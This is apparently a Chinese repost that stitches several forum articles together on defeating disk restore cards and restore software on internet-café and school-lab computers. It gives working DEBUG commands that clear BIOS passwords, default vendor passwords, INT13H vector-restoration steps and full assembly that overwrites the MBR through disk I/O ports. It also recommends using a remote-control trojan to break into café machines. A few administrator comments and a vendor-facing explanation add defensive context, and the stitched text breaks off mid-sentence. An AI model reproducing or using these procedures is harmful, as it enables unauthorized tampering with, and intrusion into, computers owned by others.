1. 程式人生 > >破解還原卡的方法總結

破解還原卡的方法總結

破解三茗還原卡還原卡及還原精靈的破解還原卡及還原精靈的破解 學生:今天上機我發現了一個重大問題:在網咖的計算機上儲存不住任何檔案!發現這個情況也是偶然的:明明在計算機上安裝了很多軟體,突然間宕機了,重啟之後剛才安裝的軟體一個也找不到了,系統就象被網管重新安裝了一遍那麼幹淨。我決心找出其中的原因,不然的話,我每次上機都要為自己安裝一些習慣使用的軟體如Netants(網路螞蟻),這也太煩人了吧。哈哈,還真叫我發現其中的奧妙,因為計算機作業系統容易受錯誤操作、非法關機、病毒入侵、惡意破壞等問題的影響,所以網管在每臺計算機上安裝了叫做硬碟還原卡(也叫做資料保護卡)的硬體裝置,其介面為 如圖1-13-1 。硬碟還原卡被製作成可以插入計算機擴充套件插槽的外接插卡形狀 如圖1-13-2 ,下面的這一種是三合一的卡(網絡卡+保護卡+資料克隆)如圖1-13-3 ,只要將此卡插入計算機,並指定其保護的磁碟區域,以後即使使用者任意重新分割槽,格式化、修改配置、刪除檔案、感染病毒等等,只要重新啟動計算機,一切就象什麼也沒有發生過,硬碟自動恢復成了系統的初始狀態。正因為還原卡有如此神奇功效,網咖、學校機房等場所都紛紛安裝了此類還原卡,認為從此天下太平了。其實可害“哭”了象我們這樣的網咖上網族,比如正在執行著程式突然當機了,沒辦法,RESET重啟吧,原先辛辛苦苦下載的資料一下子就沒了。損失慘重、教訓慘痛啊!並且在還原卡的保護下,我們想修改計算機的配置資訊都改不了。那還提什麼系統入侵呀,破解還原卡的工作是勢在必行了。不知道大家注意過沒有,網咖的計算機因為經常壞需要維修,所以機箱蓋板的螺絲基本是不上的,殼子就鬆鬆垮垮的套在機箱上。因為還原卡是塊插卡,又沒有螺絲上著,赤手空拳的就可以對付它了。我就瞅機會把還原卡拽下來了。如圖1-13-4 瞧這隻黑手,在高速的拔卡過程中被看到了,哈哈!注意:千萬不要在機器通電的時候這麼幹,要不然主機板冒煙可不是鬧著玩的。哈哈,卡子移出了看你還能有什麼本事!這樣做有些品牌的還原卡會在引導的時候提示“移出還原卡”,回車確定以後還原卡功能就被徹底從系統中清除了。還有些還原卡被拔下來後,根本沒有什麼提示,還原功能就失效了。這樣等我們安裝完了軟體、修改夠了系統再把它插上,呵呵,還原功能就又回來了,當然了計算機在沒裝還原卡時你所有的操作都會保留下來的。 網管:千萬不能為了自己維修方便而不上機箱的螺絲,我的網咖機箱螺絲上地緊緊的都被有些來上網的傢伙拔掉幾塊CPU、記憶體和還原卡了。後來沒辦法,只好做個箱子把機箱鎖起來。 學生:最近,網咖機箱不光上了螺絲,而且還貼了封條,加了鎖,裝了箱。我的“物理”破解法只有告一段落了。其實很多種類的還原卡,跟BIOS設定存在某種關聯,如果在BIOS設定介面的 “BIOS Features Setup”中存在“Boot From LAN First”專案,就要求將其設定為“Enable”(將引導順序設為網路最優先),如圖1-13-5 假設我們將這個選項設定為“Disable”,那麼這塊還原卡將不再工作。這是真的,我就在幾個網咖不同牌子的還原卡上測試成功過。如果還原卡的版本比較老,更是絕對沒有問題的。那麼這裡禁止還原卡就等同於破解BIOS密碼了。 破解BIOS密碼我們可以使用作業系統自帶的DEBUG程式來清除密碼。因為BIOS設定程式存在廠商、版本的不同,所以就有如下表所示的多種破解方法: 方法一方法二方法三方法四方法五 -O 70 11-O 70 23-O 70 10-O 70 10-O 70 16 -O 71 FF-O 71 34-O 71 FF-O 71 00-O 71 16 -Q-Q-Q-Q-Q 看一下具體的破解步驟吧:在DOS下輸入“DEBUG”並回車,DOS提示符顯示為“--”表示現在進入了DEBUG狀態,然後依次輸入“O 70 10”回車,“O 71 FF”回車,最後輸入“Q”並再次回車。如圖1-13-6 重啟計算機以後,BIOS提示出錯,按BIOS的熱鍵(一般是“DEL”按鍵,注意螢幕上一般有提示)進入BIOS設定介面的時候並不要求我們輸入密碼,說明我們已經破解成功了。上述方法的含義就是向BIOS中寫入程式碼,迫使BIOS自身校驗出錯,這樣再重啟計算機時,會要求進入BIOS重新配置引數,而此過程是不需要密碼的。 網管:看來刪除DEBUG程式是勢在必行了。 學生:如果DEBUG程式被刪除怎麼辦呢?我們先想辦法進入DOS環境(雙擊執行“c:/command.com”檔案就可以進入DOS狀態)。在DOS狀態下,沒有DEBUG程式不要緊,還可以自己現場製作個破解BIOS的.com檔案,實現對BIOS密碼的清除工作。這聽起來是不是很神奇呢? 在DOS環境下輸入:“COPY CON CMOS.COM”(引號不輸入,以下同)後回車,如圖1-13-7 系統會自動另起一行,我們繼續輸入以下內容:“ALT+176 ALT+17 ALT+230 p ALT+176 ALT+20 ALT+230 q ALT+205 <空格>”,然後按鍵盤上的“F6”鍵,再按回車鍵儲存。如圖1-13-8 【注意:輸入以上資料時候先按鍵盤的ALT按鍵,再按下數字小鍵盤區的數字按鍵,這裡不能使用主鍵盤區的數字按鍵,輸完一段數字鬆開ALT按鍵,然後再按下ALT按鍵輸入下一段】最後執行得到的cmos.com檔案 如圖1-13-9 ,重新啟動計算機BIOS提示出錯,就可以不需要密碼進入BIOS設定介面啦。 不過有些還原卡在BIOS修改以後,會提示“發現CMOS有修改,是否儲存CMOS資料?”這樣的資訊,如圖1-13-10 那麼這塊還原卡就不能通過這種方式進行破解了。 看了一些還原卡說明書,也找了一些還原卡資料,我還知道了還原卡一般是有初始化的管理員口令的,部分還原卡的預設密碼如下:小哨兵:manager,遠志:12345678,三茗:12345678。如果網管沒有另外設定密碼的話,我們就可以輸入這些預設密碼來控制還原卡了。如圖1-13-11 其實很多還原卡還有我們所不知道的超級管理員密碼或者是管理員密碼清除程式。這個密碼或者程式從生產還原卡的公司宣傳材料或者網站上是找不到的。你要是對某款還原卡發生了興趣,不妨冒充還原卡的終端使用者向此還原卡代理商索取破解辦法,相信代理商會有可靠的辦法讓你滿意的。(這又叫做社會工程學入侵)我在使用U盤(USB快閃記憶體盤)如圖1-13-12 的時候發現了另外一個繞過還原卡保護功能的方法。當U盤接在計算機上時,被識別成“行動硬碟”,如圖1-13-13 還原卡是不保護這上面的資料的,我們可以任意的修改U盤中的資料。【小知識:使用USB介面的活動硬碟如圖1-13-14 也可以突破還原卡保護,我們把QQ聊天記錄存放在活動硬碟上,以後到哪家網咖都不會忘記和MM說過的每一句話了;我們把收集的黑客工具拷貝到活動硬碟,網咖的計算機可能沒有軟碟機、光碟機,但主機板一般是有USB介面的,這些工具就可以照舊使用!】 還原卡提供保護功能的是卡上面的那塊硬體晶片中儲存的小程式,它和硬碟的主引導記錄MBR協同工作,將系統中斷Int13H 【小知識:進位制:H代表16進位制,以十六為基數,有十六個符號0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F表示,逢十六進一。Q代表8進位制,以八為基數,有八個符號0,1,2,3,4,5,6,7表示,逢八進一。B以二為基數,有兩個符號0,1表示,逢二進一。中斷:程式執行過程中出現了某種緊急事件,必須中指現行程式而去轉去執行一個處理該事件的程式,處理完成該事件後再恢復並繼續執行原有的程式,這個過程稱作中斷。中斷向量表:中斷服務程式的起始地址稱為中斷入口,將中斷程式的入口地址放在一起就組成中斷向量表。】進行底層攔截,這樣WIN98引導後使用的就是由還原卡修改過的中斷了。想破解還原卡的保護功能,只要恢復Int13H的BIOS中斷向量就可以了,簡單過程就是:找到Int13H的原始BIOS中斷向量值,填入中斷向量表 【補充知識:DEBUG命令簡單解釋:】 命令用途格式 彙編彙編語句A[address] 顯示顯示記憶體D[address] 修改修改記憶體E address [lise] 執行用任選斷點執行G[=address] [address…] 傳送傳送記憶體塊內容M range address 終止退出DEBUGQ 輸出傳送輸出的位元組O portaddress byte 暫存器顯示暫存器/標示R [register name] 檢索檢索字元S rang list 跟蹤執行並顯示T [=address][value] 在DOS下執行DEBUG程式: Debug -a 100 -xor ax,ax -int 13 -int3 然後輸入T回車,並不斷的重複,直到顯示的地址如F000:xxxx。記下這個地址,按Q鍵回車退出。這裡假設出現的第一個F000:1234就是要使用的。實際可能是在第2、3、4個才出現,通常認為就是第一個,在(0:13H*4)=0:4cH處填入這個地址,執行Debug,輸入如下命令 -e 0:4c34 12 00 f0 -q 如果在跟蹤過程中發現瞭如下程式碼:CMP DL,80(判斷是否操作硬碟),可以修改成不存在的硬碟號如:CMP DL,FF,然後試試硬碟可寫嗎?可寫的話就OK了。 現在有些較新的還原卡經過上述操作,還是不能寫盤,出現操作宕機的情況。一般是因為Int8H、Int1CH、Int15H等中斷對Int13H進行了向量保護。想辦法將這些中斷修改為原始中斷入口地址就可以了。如果想獲得還原卡管理員密碼的話,因為有些還原卡的密碼是存放在硬碟上某個空閒磁碟空間中的,與還原卡無關,我考慮了以下幾個步驟: 1.恢復系統中斷向量並讀取磁碟的MBR記錄資訊 2.分析MBR,這裡建議結合磁碟在安裝還原卡前後各扇區資料變化情況 3.找到密碼存放扇區並破解其加密演算法不過我感覺這實在是太深奧了,不是我這種笨腦瓜想明白的,就此作罷了。 網管:要注意還原卡的安全問題,使用了還原卡固然可以減輕計算機系統維護的工作量,但是使用還原卡的計算機並不是安全得像進了保險箱,針對還原卡的保護和破解,就像矛與盾之爭一樣。一方面不斷有新的破解技術出現,另一方面也不斷的有抵禦破解手段的新的還原卡生產出來。想更好的保護好計算機,那就只有不斷的更新手中還原卡的版本,同時,禁止使用者進入DOS模式或者乾脆刪除DEBUG命令也是一個折中的辦法。 學生: 還原精靈的破解 我今天到另外的一家網咖上網,發現他們的硬碟也是受“還原卡”保護的,重啟計算機一切修改都還原了,破解它這還不好辦!我的眼睛就不住地往桌下沒扣蓋的主機上打量。卻看見這些計算機並沒有安裝什麼插卡,真讓我大吃一驚,莫非是用什麼軟保護措施?還真讓我猜中了。看 就是這個叫“還原精靈”的軟體在搗鬼。我想刪除“還原精靈”,在“新增刪除程式”中找不到這款軟體,在硬碟上也查詢不到這款軟體的安裝檔案。右擊工作列右下角的圖示,卻被要求輸入操作密碼。 看來想辦法破解此軟體的密碼,是控制這臺計算機的關鍵。如果僅僅是因為安裝了一個新程式,提示要求重啟計算機,那就不要點選“確定”(,選擇“以後重啟”。在“開始>關閉系統”選擇“重新啟動計算機” 注意此時一定要按住鍵盤shift按鍵不放,這樣計算機將跳過初始化等操作,直接重新載入系統程式,從而繞過了還原精靈的保護。【以下為cy07新增】如果想長期儲存自己的檔案,就必須卸掉還原精靈或者取得還原精靈的管理員密碼,要卸掉還原精靈其實不難,網上有專門清除還原精靈的程式, 可以到它的老家
http://cy07.126.com
下載,執行以後直接清除,就可以清除還原精靈了,不過需要注意,由於還原精靈是在硬碟最重要的主引導記錄MBR( 來自網路!)關於破解還原卡(通用) 請大家先看看後面的(可以穿透還原卡和還原軟體的程式碼)方法一: 開機時(也就是在你曾經進入cmos的時刻),同時按住ctrl+home,這樣你就進入了還原卡的密碼輸入視窗,只要輸入正確的密碼即可獲得admin,以後隨你怎樣設定. 關於是密碼的問題:一般還原卡都有預設密碼的,預設密碼怎麼找,很簡單,到網上搜索QQ:9750406 關鍵詞"還原卡"就行了,找到你用的那個牌子的還原卡,進入站點,在一個比較偏僻的角落 一般可以找到預設密碼的. 而一般機房管理員是不會修改其預設密碼的,比如俺學校的 臺灣遠志牌的還原卡的預設密碼是12345678, 小哨兵的是manager, 機房管理員一個也沒改,好爽!!!!!!!!!! 不過我可沒破壞任何東東,一旦惹怒了俺,嘿嘿....俺也不會破壞的, 惡意破壞計算機就是對自己的不尊重!!!! 如果管理員把密碼改了呢?那就拿出寶刀--- 方法二: 此法實施過程看起來挺麻煩,不過熟悉了*作起來超不過15秒的- 高手sinister曰: 其實所謂硬碟保護卡就是在ROM中寫了一段HOOK INT 13的程式,遮蔽了 一些功能呼叫如AH=3,5等,在中斷向量表中INT 13的SEG,OFFSET 描述為[13h*4+2],[13h*4],將此中的程式先儲存後,再替換為自己的程式碼, 當你AH=2的時,它便會call原始INT 13地址來完成*作. 只要找到原始INT 13入口便可以為所欲為. 不知看了這段感覺如何?慢慢消化吧. 主要矛盾:關鍵是要找到原始的int 13入口. 測試*作系統:win98 測試物件: 臺灣遠志還原卡 測試地點: 學校機房 測試目的: 控制還原卡,但不破壞. 注:本篇文章不對其實施過程中出現的任何不可預料的情況負責!!!!! 具體過程如下: 開機過程按住F8鍵,進入純dos環境, 注";"後為註釋. 出現提示符c:, 鍵入c:/debug, - a100 - xor ax,ax - int 13 - int3 ; 尋找原始的int 13入口. 然後輸入t回車,不斷的重複,直到顯示的地址形如 F000:xxxx ,後面的指令為:mov dl,80 (練練眼力-。按q退出. 記下這一地址, 在(0:13H*4)=0:4cH 處填入這個地址。 例如俺的得到的地址是F000:9A95 再次執行debug ,鍵入: -e 0:4c 95 9A 00 F0 ;e的作用將資料表"95 9A 00 f0",寫入地址0:4c開始的位元組中. -q 注: 填的時候要仔細,填錯的話會宕機。ok,破解完成. 這時在提示符c:/鍵入 c:/win 進入win98系統即可,那麼這次你在win98系統中的一切*作,隨著下一次 的啟動都會被還原卡儲存起來。 不過下一次進入系統的的時候,你還是需要重寫地址0:4c,才可以讓還原卡儲存你的東東。 這時只需要在純dos下進入debug,鍵入 -e 0:4c 95 9A 00 F0 -q 即可。 哈哈。。。這樣也挺好,只有你才是這臺computer的真正的主人 -。 別人還是受還原卡的限制的except--you 。 下面是找Int13入口的方法,我常用的幾種: 1。手工執行Debug,最好在純DOS下:   Debug - a100 - xor ax,ax 注意: 前面要加上功能號以選擇Int13H內部的流程,避免進入其他不經過原始入口的流程 - int 13 - int3 然後輸入t回車,不斷的重複,直到顯示的地址形如 F000:xxxx。記下這一地址,按q 回車退出。 這裡假設了第一個F000:xxxx就是要找的入口,實際上可以在第2,3,4,。。。。出現,要自己判斷一下,通常認為就是第一個。在(0:13H*4)=0:4cH 處填入這個地址。 例如得到的地址是F000:1234 執行debug -e 0:4c 34 12 00 F0 =======>把得到的原始入口填入Int13H的中斷向量表 -q 注意: 填的時候要仔細,填錯的話會宕機。有些經過針對性處理的機器,要進一步鑑別。 如在Int13內部呼叫Int1ch. 如果在trace過程中發現如下程式碼 CMP DL,80[意思是判斷是否針對硬碟操作] ,可以嘗試修改成不存在的硬碟號,比如改成CMP DL,FF。其他的都不要修改. 試試    硬碟可寫嗎?如果可以的話就萬事大吉了。另外,不能在Windows的虛擬DOS視窗中使用這種方法。 如果在Windows的虛擬DOS視窗執行的話,請使用下一種方法。 2。Debug - s F000:0 ffff 80 fa 80 強行搜尋BIOS區,通過比較入口程式碼找到原始入口點 你可能會發現有好幾處。根據我的多次破解經驗,通常這個地址在F000:8000以後。 試驗一下: 如果U F000:xxxx地址後發現程式碼類似     -u F000:xxxx PUSHF CMP DL,80 JZ ....  .  .  . [有些不是這樣,要注意鑑別。] 的話,填入向量表試試。通常破解就完成了。 我曾經發現經過以上中斷還原後,仍不能寫盤,或者宕機的情況。經跟蹤發現Int8H,Int 1CH,Int15H等向量對 Int13H進行了向量保護。解決辦法:把Int8H,Int1cH,Int15H 也改會原始中斷點(也是BIOS中斷)。嘗試寫盤成功    如果想獲得保護卡密碼的話,可以參考以下步驟: 1。找到Int13h原始點設回中斷向量表。 2。讀出MBR 3,分析讀出的MBR,找到密碼算區和加密演算法 4,推算出密碼 可以穿透還原卡和還原軟體的程式碼
一、虛擬還原技術的原理 本文所說的是一種普遍運用於還原卡或還原軟體上的技術,當然,不同品牌不同廠商生產的可能不盡相同,但原理卻是相通的。 首先,還原卡和還原軟體會搶先奪取引導權,將原來的0頭0道1扇儲存在一個其他的扇區,(具體備份到那個扇區是不一定的),將自己的程式碼寫入0頭0道1扇,從而能在作業系統之前得到執行權,這一點類似於一個引導型病毒;然後,我們來看看虛擬還原技術在作業系統之前都做了些什麼: 1.將中斷向量表中的INT13H的入口地址儲存; 2.把自己用於代替INT13H的程式碼寫入記憶體,並記住入口地址,當然這種“寫入記憶體”並不是普通的“寫”,而是一種我們稱為“常駐”的方法,有關“常駐程式”的實現方法我們不另外花篇幅來描述了,如果你還不瞭解的話請自己找有關資料,也可以到www.hackart.org或www.lsky.net找風般的男人交流; 3.將中斷向量表中INT13H的入口地址改為這段常駐程式的入口地址。補充一點,虛擬還原程式在修改INT13H的入口後往往都會修改一些其他中斷入口,當然也是通過常駐程式來實現的,這些中斷用來實現對中斷向量表中INT13H入口地址監控,一旦發現被修改,就馬上把它改回,這樣做同樣是用來防止被有心人破解。 好了,你已經看出來了,這段用來替代BIOS提供的INT13H的程式碼才是虛擬還原技術的關鍵,那麼這段程式碼到底實現了些什麼了,以下是本人對此拙淺的理解: 1.攔截所有INT13H中對硬碟0頭0道1扇的操作 這些包括讀寫操作,把所有的對0頭0道1扇的操作改為對虛擬還原程式備份的那個扇區的操作,這樣做的目的是保護虛擬還原始碼不被破壞,並且不能被有心人讀出進行破解,即使你用扇區編輯工具檢視主引導區,實際上你看到的是這個備份的主引導區。 2.攔截所有INT13H中的寫硬碟操作 這裡包括對8G以下的硬碟的普通通過磁頭、磁軌、扇區定位的INT13H中的寫操作,和擴充套件INT13H中基於扇區地址方式的對大硬碟的寫操作,甚至包括擴充套件INT13H中對一些非IDE介面的硬碟的寫操作。 至於攔截後做什麼是虛擬還原技術實現的關鍵,在早期的DOS系統當中完全可以“什麼都不做”,也就是說當用戶寫硬碟時實際上是什麼都沒做,但現在的作業系統都要對硬碟進行一些必要的寫操作,比如對虛擬記憶體的寫操作。眾所周知,虛擬記憶體實際上就是硬碟,而如果禁止作業系統寫硬碟的話顯然後果是不堪設想的。所以,大多數虛擬還原廠商用的方法是佔用一些硬碟空間,把硬碟所進行的寫操作做一個記錄,等系統重新啟動後還原這一記錄,但是怎樣科學記錄硬碟的寫操作,是我一直沒想通的問題,這種“科學”應該體現在時間上和硬碟空間的佔用量上的,也就是說怎麼樣用最少的時間和最少的硬碟空間來記錄硬碟的寫操作是實現關鍵,如果有這方面想法的朋友歡迎和我交流; 3.備份埠70H,71H中的內容,並把最後一次執行時埠70H,71H的內容和備份的內容做比較,不一樣就提示BIOS被修改,是否還原,並通過密碼驗證修改BIOS是否合法。 二、PC機的中斷機制 中斷提供了最基本的硬體和軟體的介面,它使得程式設計師不必瞭解硬體系統的細節,只要直接呼叫系統提供的中斷服務子程式,就可以完成相應功能,這樣能使得程式設計更為方便。其實現機制如下:當某一中斷源發出中斷請求時,CPU能夠決定是否響應這一中斷請求(當CPU在執行更為重要的工作時,可以暫不響應),如果允許響應該中斷,CPU會在現行的指令執行完後,把斷點處的下一條指令地址和各暫存器的內容和標誌位的狀態,推入堆疊進行保護,然後轉到中斷源服務程式的入口,進行中斷處理,當中斷處理完成後,再恢復被保留的各暫存器、標誌位狀態和指令指標,使CPU返回斷點,繼續執行下一條指令。 為了區別各個中斷,CPC系統給每個中斷都分配了一箇中斷號N,比如INT 3H是斷點中斷,INT 10H是顯示中斷,我們今天要討論的主要是INT 13H磁碟讀寫中斷。 要說清楚PC機上的中斷機制,用這一點篇幅是完全不夠的,這裡我所說的只是一個大概,如果你不清楚的話,請查閱一些資料或和我交流,我們今天重要要說的就是以INT13H為例看看BIOS提供給我們的中斷到底都是在做什麼?所謂BIOS中斷簡單說就是你機器上的BIOS提供的中斷,那麼在BIOS中斷的後面,到底是些什麼呢?實際上是一些對埠的輸入輸出操作,PC的每個埠都實現特定的功能,我們完全可以不呼叫BIOS提供的中斷而直接用輸入輸出指令對這些埠進行操作,從而可以實現象呼叫BIOS中斷一樣的功能,但是一個前提是你必須對這些埠有詳細的瞭解。反過來說,PC的中斷系統的一大好處就是能夠讓程式設計師無須瞭解系統底層的硬體知識的而能夠程式設計,從這點看,中斷有點象我們平時所說的“封裝”,我不知道這樣說對不對,但的確中斷為我們“封裝”了許多系統底層的細節。 三、硬碟讀寫埠的具體含義 對硬碟進行操作的常用埠是1f0h~1f7h號埠,各埠含義如下: 埠號 讀還是寫 具體含義 1F0H 讀/寫 用來傳送讀/寫的資料(其內容是正在傳輸的一個位元組的資料) 1F1H 讀 用來讀取錯誤碼 1F2H 讀/寫 用來放入要讀寫的扇區數量 1F3H 讀/寫 用來放入要讀寫的扇區號碼 1F4H 讀/寫 用來存放讀寫柱面的低8位位元組 1F5H 讀/寫 用來存放讀寫柱面的高2位位元組(其高6位恆為0) 1F6H 讀/寫 用來存放要讀/寫的磁碟號及磁頭號 第7位 恆為1 第6位 恆為0 第5位 恆為1 第4位 為0代表第一塊硬碟、為1代表第二塊硬碟 第3~0位 用來存放要讀/寫的磁頭號 1f7H 讀 用來存放讀操作後的狀態 第7位 控制器忙碌 第6位 磁碟驅動器準備好了 第5位 寫入錯誤 第4位 搜尋完成 第3位 為1時扇區緩衝區沒有準備好 第2位 是否正確讀取磁碟資料 第1位 磁碟每轉一週將此位設為1, 第0位 之前的命令因發生錯誤而結束 寫 該位埠為命令埠,用來發出指定命令 為50h 格式化磁軌 為20h 嘗試讀取扇區 為21h 無須驗證扇區是否準備好而直接讀扇區 為22h 嘗試讀取長扇區(用於早期的硬碟,每扇可能不是512位元組,而是128位元組到1024之間的值) 為23h 無須驗證扇區是否準備好而直接讀長扇區 為30h 嘗試寫扇區 為31h 無須驗證扇區是否準備好而直接寫扇區 為32h 嘗試寫長扇區 為33h 無須驗證扇區是否準備好而直接寫長扇區 注:當然看完這個表你會發現,這種讀寫埠的方法其實是基於磁頭、柱面、扇區的硬碟讀寫方法,不過大於8G的硬碟的讀寫方法也是通過埠1F0H~1F7H來實現的^_^ 四、一個通過對硬碟輸入輸出埠操作來讀寫硬碟的例項 讓我們來看一個關於INT13H讀寫硬碟程式例項。在例子中詳細說明了硬碟的讀寫操作所用到的埠,並且把通過INT13H讀出的主引導區得到的資料和通過輸入輸出讀主引導區得到的資料進行比較,從而證實這兩種操作功能相同,程式片段如下: mov dx,1f6h ; 要讀入的磁碟號及磁頭號 mov al,0a0h ;磁碟0,磁頭0 out dx,al mov dx,1f2h ;要讀入的扇區數量 mov al,1 ;讀一個扇區 out dx,al mov dx,1f3h ;要讀的扇區號 mov al,1 ;扇區號為1 out dx,al mov dx,1f4h ;要讀的柱面的低8位 mov al,0 ; 柱面低8位為0 out dx,al mov dx,1f5h ; 柱面高2位 mov al,0 ; 柱面高2位為0(通過1F4H和1F5H埠我們可以確定 ; 用來讀的柱面號是0) out dx,al mov dx,1f7h ;命令埠 mov al,20h ; 嘗試讀取扇區 out dx,al still_going: in al,dx test al,8 ;扇區緩衝是否準備好 jz still_going ;如果扇區緩衝沒有準備好的話則跳轉,直到準備好才向下執行。 mov cx,512/2 ;設定迴圈次數(512/2次) mov di,offset buffer mov dx,1f0h ;將要傳輸的一個位元組的資料 rep insw ;傳輸資料 ; ------ mov ax,201h ;以下是用INT13H讀硬碟的0磁頭、0柱面、1扇區 mov dx,80h mov cx,1 mov bx,offset buffer2 int 13h mov cx,512 ;以下部分用來比較2種方法讀出的硬碟資料 mov si,offset buffer mov di,offset buffer2 repe cmpsb jne failure mov ah,9 mov dx,offset readmsg int 21h jmp good_exit failure: mov ah,9 mov dx,offset failmsg int 21h good_exit: ;以下部分用來結束程式 mov ax,4c00h ;退出程式 int 21h readmsg db 'The buffers match. Hard disk read using ports.$' failmsg db 'The buffers do not match.$' buffer db 512 dup ('V') buffer2 db 512 dup ('L') 你可以對照硬碟讀寫埠含義表,再好好看看上面的例子,你將會對硬碟讀寫埠有一個比較深的理解。好了,到了該把謎底揭曉的時候了,重新回到我們的主題。正如你現在想象的,這種可以穿透還原卡或是還原軟體保護的程式碼的確是對硬碟讀寫埠的輸入輸出操作。現在,我們已經可以從原理上理解了,還原卡攔截的是中斷操作,但卻攔截不了輸入輸出操作,而用輸入輸出操作足夠可以對硬碟進行寫操作了,當然用輸入輸出操作也完全可以讀到被虛擬還原程式遮蔽的關鍵部分,被還原卡或是還原軟體遮蔽的0頭0道1扇。知道了這一原理以後,可能是仁者見仁智者見智的,如果你是一個虛擬還原技術的破解者、一個病毒製造者,或是虛擬還原技術的設計者,往往對此的理解都是不盡相同的。 在此強調我不贊成製造病毒,但一個病毒製造者完全可以用此原理寫出一個可以實現破壞裝有還原卡或還原軟體的機器了,所以我要提醒虛擬還原使用者的是,不要以為裝有還原卡或是還原軟體就掉以輕心,要知道世界上還是有病毒能夠穿透虛擬還原技術的保護,達到破壞硬碟的目的的,想象一下如果把這一原理運用到CIH病毒中,或者運用到硬碟殺手病毒中,其後果是不堪設想的。 談談如何用這種可以穿透虛擬還原技術的程式碼來破解還原軟體(如還原精靈)吧。以下是我寫的用來測試破解還原精靈的程式碼,本程式碼編譯後的程式需要在純DOS環境執行,在DOS下我用這段程式碼成功的把還原精靈給解除安裝了。 .286 CODE SEGMENT ASSUME CS:CODE,DS:code,ES:code START: ;---------------------------------------------------------- ;以下程式碼用INT13H讀主引導區 mov ax,0201h mov dx,0080h mov cx,0001h mov bx,7c00h int 13h ;--------------------------------------------------------- ;以下程式碼用I/O埠來寫主引導區 mov dx,1f6h ; 要讀入的磁碟號及磁頭號 mov al,0a0h ; 磁碟0,磁頭0 out dx,al mov dx,1f2h ; 要寫的扇區數量 mov al,1 ; 寫一個扇區 out dx,al mov dx,1f3h ;要寫的扇區號 mov al,1 ;寫到1扇區 out dx,al mov dx,1f4h ; 要寫的柱面的低8位 mov al,0 ; 低8位為0 out dx,al mov dx,1f5h ; 要寫的柱面的高2位 mov al,0 ; 高2位為0 out dx,al mov dx,1f7h ;命令埠 mov al,30h ;嘗試著寫扇區. out dx,al oogle: in al,dx test al,8 ;磁碟扇區緩衝是否準備好 jz oogle mov cx,512/2 ;設定迴圈次數(512/2) mov si,7c00h mov dx,1f0h ;資料埠,用來存放要傳送的資料. rep outsw ;傳送資料. ; ------------------------------------------------------------------------------ ;退出程式 mov ah,4ch int 21 CODE ENDS END START 上面的程式非常簡單,說明如下: 1、先把被還原精靈備份的原來的主引導區用INT13H讀出來,這裡雖然是對0頭0道1扇進行讀操作,但實際上是在讀被還原精靈把原來的主引導區備份進去的那個扇區; 2、把讀出的原來的主引導區通過輸入輸出操作寫進真正的主引導區,換句話說就是把還原精靈給徹底刪除了,此時重新啟動你將發現還原精靈已經沒有了。 我寫了個FORWIN98/NT/XP的解除安裝還原精靈等軟體的程式,大家可到www.lsky.net下載,不過已經有人先我一步了,那就是網咖終結者出的一個清MBR的程式,我試了一下,發現的確有用,我還沒有仔細分析該程式,但我敢肯定其原理差不多。那個程式寫得不錯,不過我認為有一點需要改進,我的硬碟的MBR程式是我自己寫的,用來實現多引導操作,當我執行完該清MBR程式後,我的多引導程式碼就沒了,我覺得此程式如果能把核心程式碼部分改成象我以上的程式碼,在還原精靈下是把裝還原精靈之前的MBR寫回到主引導區,即使沒裝還原精靈的硬碟也只是把主引導區寫回主引導區,就沒有任何的危險了。 用以上的方法要實現還原卡的破解可能是不行的,因為還原卡畢竟是硬體,它可以先於硬碟引導前執行,這樣即使你寫回了硬碟的主引導區,還原卡還是可以把它寫回的,但是,在破解還原卡的時候,完全可以利用文章中的原理,把還原卡寫入硬碟主引導區的真正程式碼讀出進行分析,甚至有些還原卡的密碼就在這個扇區中。 對於還原卡和還原軟體的製造者來說,如何讓您製造的還原卡或還原軟體更安全,可能是一個需要思考的問題。真心希望以後的還原卡或是還原軟體在攔截INT13H的同時也能攔截硬碟I/O操作。 在我安裝還原精靈的時候看到一個選項是“防止硬碟I/O破壞”,開始還以為還原精靈在這方面做的不錯,想到了從攔截I/O操作來保護硬碟。可惜我錯了,即使選擇這一個選項,也同樣可以通過輸入輸出埠操作來寫硬碟。對於掌握了這種技術的人來說,這種還原卡或是還原軟體可以說是形同虛設。因此我認為,還原卡和還原軟體不但要實現攔截所有硬碟寫操作、攔截對主引導區的讀寫操作,更應該攔截對硬碟的讀寫埠的操作,只有這樣的虛擬還原技術才可能使基於硬碟的讀寫埠操作所對硬碟的破壞或是對虛擬還原技術的破解變成不可能。 告訴大家一個方法:
利用文字檔案輸入下面的命令start  h:/wz關閉儲存慢慢雙擊該文字更名為。bat檔案雙擊執行大家看到了什麼,剩下我就不多說了此尚未測試!來自古典辣M°http://lams.blogchina.com   注意此法主要通過彙編等高階知識,本人此地沒有還原卡所以也未測試,此貼被轉了N久!其中破解還原卡我涉及少,有些難以回覆!至於有的朋友說使用 WINHEX破解網咖密碼的方法,我不知道有多少的朋友成功破解了,因為此涉及到彙編高階程式,沒有基礎是不行的,光靠前人弄出來的經驗,只要本地網管更改一下(或管理軟體不同,就難以實現了,對於不懂真正技術的人來說是那樣的)破解永珍密碼使用高手編譯出的軟體就可以直接得到,我曾經以為通過登錄檔可以得到密碼(其實登錄檔的密碼是MD5加密的!)其實在有的情況下結束網管軟體的客戶端同樣可以免費上網(此前我寫過一篇文章 www.yiyoo.net/bbs),破解還原卡的方法在網上公佈了就會出現反破解的文章,只要大家多注意反破解的思路就可以找到新的破解!Debug破解還原卡方法!建議網咖把DEBUG刪除!大家看看這個!http://qooh.net/web/Article/wz2/wz21/200411/610.html現在說說我以前的一些破解網咖的方法,你可以使用灰鴿子(神氣兒)等一些遠端控制軟體開啟網咖主機找到還原卡(還原精靈、永珍等網咖管理軟體的)解除安裝程式,你可以把這個程式拿出來再運用到N個網咖,你要破那裡就可以破那裡的,